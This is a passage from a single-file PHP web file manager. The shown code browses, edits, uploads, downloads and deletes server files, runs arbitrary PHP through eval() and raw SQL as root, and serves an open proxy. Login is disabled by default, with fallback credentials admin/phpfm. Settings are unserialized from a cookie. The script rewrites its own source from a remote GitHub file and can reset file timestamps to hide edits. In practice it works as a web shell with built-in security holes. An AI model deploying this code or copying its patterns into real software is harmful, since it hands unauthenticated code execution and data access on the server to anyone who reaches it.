$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/fahriyzx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
